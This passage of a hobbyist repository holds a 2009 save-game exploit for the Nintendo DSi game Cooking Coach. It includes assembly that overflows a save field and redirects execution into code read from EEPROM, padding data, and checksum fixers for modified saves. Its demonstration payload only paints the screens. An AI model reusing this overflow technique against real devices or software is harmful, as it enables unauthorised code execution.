#0x000f 196 | cmp r0, r2 197 | bne waitsync 198 | bx lr 199 | 200 | 201 | arm7_start: 202 | mov r12, #REG_BASE 203 | str r12, [r12, #0x208] @ IME = 0; 204 | add r3, r12, #0x180 205 | mov r0,#0x0500 206 | strh r0,[r3] 207 | ldr r0,loop 208 | mov r1,#0x3800000 209 | str r0,[r1] 210 | bx r1 211 | loop: 212 | b loop 213 | 214 | arm7_end: 215 | 216 | .pool 217 | 218 | .space (_start + 8192) - . 219 | 220 | -------------------------------------------------------------------------------- /classichack/cwgsum.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2009 Dave Murphy (WinterMute) 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 2 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | 17 | */ 18 | 19 | // TODO 20 | // make endian safe, assumes little endian 21 | // add checksums for other regions 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | struct saveSlot { 28 | uint32_t id; 29 | uint16_t checksum; 30 | uint16_t flags; 31 | uint8_t data[0xf30]; 32 | }; 33 | 34 | int main(int argc, char *argv[]) { 35 | int i; 36 | struct saveSlot buffer[2]; 37 | 38 | if (argc<2) { 39 | printf("Usage: cwgsum \n"); 40 | exit(1); 41 | } 42 | 43 | 44 | FILE *inputsave = fopen(argv[1],"rb+"); 45 | 46 | if (inputsave==NULL) { 47 | printf("can't open file %s\n",argv[2]); 48 | exit(1); 49 | } 50 | 51 | fread(buffer, sizeof(buffer), 1, inputsave); 52 | 53 | if ( buffer[0].id != 0x800354 && buffer[0].id != 0x400810 && buffer[0].id != 0x800355) { 54 | printf("Not classic word games save file!\n"); 55 | fclose(inputsave); 56 | exit(1); 57 | } 58 | 59 | uint16_t startsum; 60 | 61 | if (buffer[0].id == 0x800354) startsum = 0xfcab; 62 | if (buffer[0].id == 0x800355) startsum = 0xfcaa; 63 | if (buffer[0].id == 0x400810) startsum = 0xf7ef; 64 | 65 | int slot; 66 | uint16_t currentsum,sum; 67 | 68 | for(slot=0;slot<2;slot++) { 69 | currentsum = buffer[slot].checksum; 70 | 71 | sum=startsum; 72 | uint8_t *b = buffer[slot].data; 73 | 74 | for (i = 0; i < sizeof(buffer[0].data); i++) { 75 | sum -= b[i]; 76 | } 77 | 78 | if (sum != currentsum) { 79 | printf("Fixing checksum - %04X\n",sum); 80 | buffer[slot].checksum = sum; 81 | fseek(inputsave,sizeof(buffer[0])*slot+4,SEEK_SET); 82 | fwrite(&sum,2,1,inputsave); 83 | } else { 84 | printf("SUM OK!\n"); 85 | } 86 | } 87 | 88 | fclose(inputsave); 89 | 90 | return 0; 91 | } 92 | -------------------------------------------------------------------------------- /cookhack/Makefile: -------------------------------------------------------------------------------- 1 | #--------------------------------------------------------------------------------- 2 | # path to tools 3 | #--------------------------------------------------------------------------------- 4 | export PATH := $(DEVKITARM)/bin:$(PATH) 5 | export CC := gcc 6 | #--------------------------------------------------------------------------------- 7 | # the prefix on the compiler executables 8 | #--------------------------------------------------------------------------------- 9 | PREFIX := arm-none-eabi- 10 | 11 | COUNTRY := UK 12 | 13 | ifeq ($(strip $(COUNTRY)),USA) 14 | ID:=E 15 | endif 16 | 17 | ifeq ($(strip $(COUNTRY)),UK) 18 | ID:=V 19 | endif 20 | 21 | ifeq ($(strip $(COUNTRY)),ES) 22 | ID:=S 23 | endif 24 | 25 | ifeq ($(strip $(COUNTRY)),FR) 26 | ID:=F 27 | endif 28 | 29 | ifeq ($(strip $(COUNTRY)),ITA) 30 | ID:=I 31 | endif 32 | 33 | ifeq ($(strip $(COUNTRY)),GER) 34 | ID:=D 35 | endif 36 | 37 | #TARGET := ~/.config/desmume/VCK$(ID).dsv 38 | TARGET := VCK$(ID).sav 39 | 40 | $(CODE).sav: $(TARGET) 41 | cp $< $@ 42 | 43 | $(TARGET): cookhack.elf cooksum$(EXEEXT) 44 | $(PREFIX)objcopy -O binary cookhack.elf $@ 45 | ./cooksum $@ 46 | 47 | cooksum$(EXEEXT): cooksum.c 48 | 49 | cookhack.elf: cookhack.s overflow.bin Makefile 50 | $(PREFIX)gcc -x assembler-with-cpp -D$(COUNTRY) -nostartfiles -nostdlib $< -o $@ 51 | 52 | clean: 53 | rm -f VCK*.sav cookhack.elf cooksum$(EXEEXT) 54 | 55 | -------------------------------------------------------------------------------- /cookhack/README.TXT: -------------------------------------------------------------------------------- 1 | DSi Cooking Coach exploit 2 | 3 | This little project allows you to compile assembly straight into a 4 | Cooking Coach save game file. This file can then be written to the game 5 | card with something like eepinator from a normal DS. 6 | 7 | The current assembly just paints the screens red, reads the save file from 8 | eeprom to RAM then jumps into that where it paints the screen green. 9 | 10 | If you find anything interesting then let us know in #dsdev on irc.blitzed.org 11 | 12 | With thanks to Blasty for pointing me at modifying desmume to test exploit code. 13 | Basically I added code to check the program counter for particular values which I 14 | then added to the save file until it went bang. 15 | 16 | Have fun, 17 | 18 | Dave (WinterMute) 19 | 20 | http://devkitpro.org 21 | http://davejmurphy.com 22 | http://twitter.com/davejmurphy 23 | -------------------------------------------------------------------------------- /cookhack/cookhack.s: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2009 Dave Murphy (WinterMute) 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 2 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | 17 | */ 18 | 19 | .global _start 20 | 21 | #if defined(USA) 22 | 23 | #define CODE 0x56434B45 24 | #define JUMP 0x02179AB8 25 | 26 | #elif defined(UK) 27 | 28 | #define CODE 0x56434B56 29 | #define JUMP 0x02179C98 30 | 31 | #elif defined(ES) 32 | 33 | #define CODE 0x56434B53 34 | #define JUMP 0x02179C94 35 | 36 | #elif defined(FR) 37 | 38 | #define CODE 0x56434B46 39 | #define JUMP 0x02179BA0 40 | 41 | #elif defined(ITA) 42 | 43 | #define CODE 0x56434B49 44 | #define JUMP 0x02179c40 45 | 46 | #elif defined(GER) 47 | 48 | #define CODE 0x56434B44 49 | #define JUMP 0x02179C60 50 | 51 | #else 52 | 53 | #error "Currently unrecognised country" 54 | 55 | #endif 56 | 57 | #define REG_BASE 0x04000000 58 | 59 | _start: 60 | .word CODE 61 | .hword 1 62 | .hword 0x0203 63 | 64 | .incbin "overflow.bin" 65 | #if !defined(ES) 66 | .byte 0x20 67 | .word 0x20202020, 0x20202020 68 | #endif 69 | 70 | #if defined(FR) || defined(ITA) 71 | .hword 0x5555 72 | #if defined(ITA) 73 | .word 0x55555555 74 | #endif 75 | .word JUMP 76 | .word 0x00414141 77 | .hword 0x4141 78 | #elif defined(GER) 79 | .byte 0x55 80 | .word JUMP 81 | #else 82 | .word 0x55555555 83 | .word JUMP 84 | .word 0x00414141 85 | #endif 86 | .align 2 87 | 88 | mov r12, #REG_BASE 89 | str r12, [r12, #0x208] @ IME = 0; 90 | 91 | ldr r0, =0x00002078 @ disable TCM and protection unit 92 | mcr p15, 0, r0, c1, c0 93 | 94 | @ Disable caches 95 | mov r0, #0 96 | mcr p15, 0, r0, c7, c5, 0 @ Instruction cache 97 | mcr p15, 0, r0, c7, c6, 0 @ Data cache 98 | 99 | @ Wait for write buffer to empty 100 | mcr p15, 0, r0, c7, c10, 4 101 | 102 | mov r1, #0 103 | strh r1, [r12, #0x6c] 104 | 105 | mov r2, #0x1000 106 | add r3, r2, r12 107 | strh r1, [r3, #0x6c] 108 | 109 | add r11, r12, #0x1a0 110 | 111 | ldrh r0,[r11,#0x204-0x1a0] 112 | and r0,r0,#~(1<<11) 113 | strh r0,[r11,#0x204-0x1a0] 114 | 115 | ldr r0, eepromselect 116 | strh r0,[r11] 117 | 118 | mov r0,#03 119 | strb r0,[r11,#0x02] 120 | bl eepromwait 121 | 122 | mov r0,#0 123 | strb r0,[r11,#0x02] 124 | bl eepromwait 125 | 126 | mov r0,#0 127 | strb r0,[r11,#0x02] 128 | bl eepromwait 129 | 130 | mov r1,#0x02300000 131 | add r2,r1,#0x2000 132 | 133 | readeeprom: 134 | mov r0,#0 135 | strb r0,[r11,#0x02] 136 | 137 | bl eepromwait 138 | ldrb r0,[r11,#0x02] 139 | strb r0,[r1],#1 140 | cmp r1,r2 141 | bne readeeprom 142 | 143 | mov r0,#0x40 144 | strh r0,[r11] 145 | 146 | adr r0,stage2 147 | adr r1,_start 148 | sub r0,r0,r1 149 | add r0,#0x02300000 150 | bx r0 151 | 152 | eepromwait: 153 | ldrh r0,[r11] 154 | tst r0, #128 155 | bne eepromwait 156 | bx lr 157 | 158 | .space (_start + 0x2d8) - . 159 | .word 0xFFFF0000, 0 160 | eepromselect: 161 | .word 0xA040 162 | 163 | .pool 164 | 165 | .space (_start + 0x378) - . 166 | .word CODE 167 | .hword 2 168 | .hword 0x0202 169 | 170 | stage2: 171 | mov r2, #0x1000 172 | add r2,r2,r12 173 | mov r0,r12 174 | ldr r3, dispcnt 175 | str r3, [r0] 176 | str r3, [r2] 177 | 178 | mov r5, #0x200 179 | str r5, [r0, #0x08] 180 | str r5, [r2, #0x08] 181 | 182 | add r0, r0, #0x240 183 | str r1, [r0] 184 | strh r1, [r0, #0x04] 185 | strb r1, [r0, #0x06] 186 | strb r1, [r0, #0x08] 187 | 188 | mov r1, #0x81 189 | strb r1, [r0] 190 | mov r1, #0x84 191 | strb r1, [r0,#0x02] 192 | 193 | mov r4, #0x05000000 @ engine A palette 194 | 195 | mov r1, #0x1f 196 | str r1, [r4] 197 | str r1, [r4,#0x400] @ engine B palette 198 | 199 | add r0, r4, #0x01000000 200 | add r2, r0, #0x00200000 201 | 202 | mov r1, #0 203 | mov r3, #0x1800 204 | bl memset 205 | 206 | mov r0, #0x40000 207 | add r0, #0xC 208 | str r0, [r12, #0x188] 209 | 210 | add r3, r12, #0x180 @ r3 = 4000180 211 | 212 | ldr r5,=0x2fffc24 213 | 214 | ldr r0,=0x4004008 215 | ldr r0,[r0] 216 | ands r0,r0,#0x8000 217 | beq notDSi 218 | 219 | mov r2, #4 220 | strh r2, [r5,#4] 221 | bl wait_dsi7 222 | mov r2, #3 223 | strh r2, [r5,#4] 224 | bl wait_dsi7 225 | 226 | notDSi: 227 | mov r2, #1 228 | bl waitsync 229 | 230 | mov r1, #0x3e0 231 | str r1, [r4] 232 | 233 | adr r5, arm7_start 234 | adr r7, arm7_end 235 | ldr r6, =0x2380000 236 | copyloop: 237 | ldr r0, [r5],#4 238 | str r0, [r6],#4 239 | cmp r5, r7 240 | bne copyloop 241 | 242 | mov r0, #0x100 243 | strh r0, [r3] 244 | 245 | mov r2, #0 246 | bl waitsync 247 | 248 | mov r0, #0 249 | strh r0, [r3] 250 | 251 | mov r2, #5 252 | bl waitsync 253 | 254 | str r1, [r4,#0x400] @ engine B palette 255 | 256 | forever: 257 | b forever 258 | 259 | .pool 260 | 261 | dispcnt: 262 | .word 0x10100 263 | 264 | memset: 265 | 266 | .clrloop: 267 | subs r3, r3, #4 268 | str r1, [r0,r3] 269 | str r1, [r2,r3] 270 | bne .clrloop 271 | bx lr 272 | 273 | wait_dsi7: 274 | ldrh r0,[r5,#2] 275 | .wait7: 276 | ldrh r6,[r5,#2] 277 | cmp r6,r0 278 | beq .wait7 279 | 280 | ldrh r0,[r5] 281 | add r0,r0,#1 282 | strh r0,[r5] 283 | bx lr 284 | 285 | waitsync: 286 | ldrh r0, [r3] 287 | and r0, r0, #0x000f 288 | cmp r0, r2 289 | bne waitsync 290 | bx lr 291 | 292 | 293 | arm7_start: 294 | mov r12, #REG_BASE 295 | str r12, [r12, #0x208] @ IME = 0; 296 | add r3, r12, #0x180 297 | mov r0,#0x0500 298 | strh r0,[r3] 299 | ldr r0,loop 300 | mov r1,#0x3800000 301 | str r0,[r1] 302 | bx r1 303 | loop: 304 | b loop 305 | 306 | arm7_end: 307 | .space (_start + 0xBD0) - . 308 | .word CODE 309 | .hword 3 310 | .hword 0x0202 311 | 312 | .space (_start + 0xF04) - . 313 | .word CODE 314 | .hword 4 315 | .hword 0x0202 316 | 317 | 318 | .space (_start + 0x1238) - . 319 | .word CODE 320 | .hword 5 321 | .hword 0x0202 322 | 323 | .space (_start + 0x2000) - . 324 | -------------------------------------------------------------------------------- /cookhack/cooksum.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2009 Dave Murphy (WinterMute) 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | 17 | */ 18 | 19 | // TODO 20 | // make endian safe, assumes little endian 21 | // add checksums for other regions 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | struct saveSlotHeader { 28 | uint32_t id; 29 | uint16_t checksum; 30 | uint16_t flags; 31 | }; 32 | 33 | 34 | int main(int argc, char *argv[]) { 35 | int i; 36 | if (argc<2) { 37 | printf("Usage: cooksum \n"); 38 | exit(1); 39 | } 40 | 41 | FILE *f = fopen(argv[1], "rb+"); 42 | 43 | if (f==NULL) { 44 | printf("can't open file %s\n",argv[1]); 45 | exit(1); 46 | } 47 | 48 | uint8_t buffer[8192]; 49 | 50 | fread(buffer, sizeof(buffer), 1, f); 51 | 52 | struct saveSlotHeader *slotHeader = (struct saveSlotHeader *)buffer; 53 | 54 | if ( (slotHeader->id >> 8)!= 0x56434B ) { 55 | printf("Not cooking coach save file!\n"); 56 | exit(1); 57 | } 58 | 59 | int slot=0; 60 | unsigned short currentsum,sum,startsum; 61 | 62 | int country = slotHeader->id & 0xff; 63 | 64 | startsum = 0xb4ff - country; 65 | 66 | int slotOffset[] = { 67 | 0, 68 | 0x378, 69 | 0xBD0, 70 | 0xF04, 71 | 0x1238, 72 | 0x1F77 73 | }; 74 | 75 | for(slot=0;slot<5;slot++) { 76 | 77 | int offset = slotOffset[slot]; 78 | 79 | slotHeader = (struct saveSlotHeader *)&buffer[offset]; 80 | currentsum = slotHeader->checksum; 81 | printf("Slot %d Current checksum: %04X -- ",slot, currentsum); 82 | 83 | sum = startsum; 84 | for (i = 0; i < (slotOffset[slot+1] - (offset + 8)); i++) { 85 | sum -= buffer[offset + 8 + i]; 86 | } 87 | 88 | if (sum != currentsum) { 89 | printf("Fixing checksum - %04X\n",sum); 90 | fseek(f, slotOffset[slot]+0x04, SEEK_SET); 91 | fwrite(&sum, 2, 1, f); 92 | } else { 93 | printf("SUM OK!\n"); 94 | } 95 | } 96 | 97 | fclose(f); 98 | 99 | 100 | return 0; 101 | } 102 | -------------------------------------------------------------------------------- /cookhack/overflow.bin: -------------------------------------------------------------------------------- 1 | __COOK_HACK__AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+------------------------------+| WinterMute || || http://www.devkitpro.org || || http://drunkencoders.com || || irc.blitzed.org #dsdev || || || || |+------------------------------+ --------------------------------------------------------------------------------